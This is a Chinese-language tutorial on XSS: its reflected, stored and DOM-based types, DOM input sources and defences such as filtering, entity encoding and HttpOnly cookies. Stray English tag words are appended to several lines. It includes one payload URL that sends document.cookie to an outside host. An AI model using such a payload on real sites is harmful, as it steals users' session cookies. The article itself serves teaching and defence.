XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些惡意的腳本代碼(HTML、JavaScript)到Web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼。javascript
XSS其實是利用用戶對站點的信任。html
Cookie竊取,Session劫持,釣魚攻擊,蠕蟲,DDos等。java
非持久化,用戶在頁面輸入框中輸入數據,經過GET或者POST方法向服務器端傳遞數據,輸入的數據通常是放在URL的Query string中,或者是form表單中,若是服務端沒有對這些數據進行過濾、驗證或者編碼,直接將用戶輸入的數據呈現出來,就可能會形成反射型XSS。web
黑客一般經過構造一個包含XSS代碼的URL,誘導用戶點擊連接,觸發XSS代碼,達到劫持訪問、獲取 Cookie的目的。數據庫
持久化,一般是由於服務器端將用戶輸入的惡意腳本沒有通過驗證就存儲在數據庫中,而且經過調用數據庫的方式,將數據呈如今瀏覽器上,當頁面被用戶打開的時候執行,每當用戶打開瀏覽器,惡意腳本就會執行。存儲型的XSS攻擊相比反射型的危害性更大,由於每當用戶打開頁面,惡意腳本都會執行。瀏覽器
DOM (Document Object Model),全稱:文檔對象模型,是中立於平臺和語言的接口,它容許程序和腳本動態地訪問和更新文檔的內容、結構和樣式。
DOM型XSS實際上是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。安全
容易致使DOM型的XSS的輸入源包括:
Document.URL
Document.referrer
Document.cookie
Window.name
Location.[pathname|href|search|hash]
localStorage/globalStorage服務器
DVWA代碼分析:http://www.freebuf.com/articl...cookie
獲取Cookie Payload:xss
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
一、使用 XSS Filter
針對用戶提交的數據進行有效的驗證,只接受咱們規定的長度或內容的提交,過濾掉其餘的輸入內容。好比:
表單數據指定值的類型:年齡只能是 int 、name 只能是字母數字等。
過濾或移除特殊的 html 標籤:<script>、<iframe>等。
過濾 js 事件的標籤:onclick、onerror、onfocus等。
二、HTML實體
當須要往HTML標籤之間插入不可信數據的時候,首先要作的就是對不可信數據進行HTML Entity編碼,在HTML中有些字符對於HTML來講是具備特殊意義的,因此這些特殊字符不容許在文本中直接使用,須要使用實體字符。HTML實體的存在是致使XSS漏洞的主要願意之一,所以咱們須要將實體轉化爲相應的實體編號。
描述 實體名稱 空格 & 和號 & < 小於號 < > 大於號 > ' 單引號 ' " 雙引號 "
三、JavaScript編碼
這條原則主要針對動態生成的JavaScript代碼,這包括腳本部分以及HTML標籤的事件處理屬性(如onerror, onload等)。在往JavaScript代碼裏插入數據的時候,只有一種狀況是安全的,那就是對不可信數據進行JavaScript編碼,而且只把這些數據放到使用引號包圍起來的值部分(data value)之中。
注意:在對不可信數據作編碼的時候,不能圖方便使用反斜槓 對特殊字符進行簡單轉義,好比將雙引號 " 轉義成 " ,這樣作是不可靠的,由於瀏覽器在對頁面作解析的時候,會先進行HTML解析,而後纔是JavaScript解析,因此雙引號極可能會被當作HTML字符進行HTML解析,這時雙引號就能夠突破代碼的值部分,使得攻擊者能夠繼續進行XSS攻擊;另外,輸出的變量的時候,變量值必須在引號內部,避免安全問題;更加嚴格的方式,對除了數字和字母之外的全部字符,使用十六進制xhh 的方式進行編碼。
四、Http Only Cookie許多XSS攻擊的目的就是爲了獲取用戶的Cookie,將重要的Cookie標記爲HTTP Only,這樣的話當瀏覽器向服務端發起請求時就會帶上Cookie字段,可是在腳本中卻不能訪問Cookie,這樣就避免了XSS攻擊利用js的document.cookie獲取Cookie。